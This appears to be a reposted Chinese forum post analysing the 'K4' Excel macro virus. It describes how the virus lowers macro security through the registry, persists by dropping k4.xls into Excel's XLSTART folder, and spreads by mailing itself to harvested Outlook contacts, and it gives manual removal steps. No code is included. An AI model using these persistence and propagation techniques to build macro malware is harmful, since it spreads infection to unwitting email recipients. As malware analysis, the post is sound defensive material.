这个被称为“K4”的宏病毒，主要行为是一个自我复制和传播的过程，对Excel文件本身的系统没有明显的破坏行为。
宏病毒通过修改注册表，降低Excel的宏安全级别，使敏感代码获得运行权利。如果本宏病毒未能被执行，首次打开带毒.xls文件会提示“禁用宏，关闭。Please enable Macro”信息。
宏病毒被激活后会复制一个副本k4.xls到Excel的启动目录里：
C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTART
保证个新建和打开的Excel文件都会自动附加一个k4带毒模块。实现本机感染。也就是说，如果这个目录下有一个该死的k4.xls，那说明你的机子中毒了。
带毒.xls文件在被激活时，会通过系列细腻的行为，在指定的时间里在后台收集Outlook里的用户地址，又在指定的时间里打包并把带毒文件通过Outlook发送到搜集到的邮件地址里，实现网络传播。
病毒有不少可以借鉴的地方，多处利用VBS代码进行文件操作，里面的代码写得不错，还用上了“正则表达式”，哇塞，偶一直想学啊。
据冒死测试，该宏病毒在Win7 64环境下无法发挥作用，连k4模块都不能写入到Excel启动目录。可能和Win7的安全性有关。如果本机没有安装Outlook，这个宏病毒显得非常无趣。
网上什么K4专杀工具，利用Excel.Application其它或OLE技术删除带毒模块的思路貌似徒劳。一旦调用OpenFile函数，即激活了病毒，无法根除。
关于这个病毒的查毒，目前还是通过更新杀毒软件应该去搞定吧。
手动也可以，得一个一个打开感染的.xls文件，删除Thisworkbook里的代码，最后一步是删除Excel启动目录里的k4.xls文件。但明显这是件痛苦的事。
如果分析有误，欢迎批评指正。
本文转自：http://netsecurity.51cto.com/art/201212/373192.htm
赞赏
赞赏
雪币:
留言:
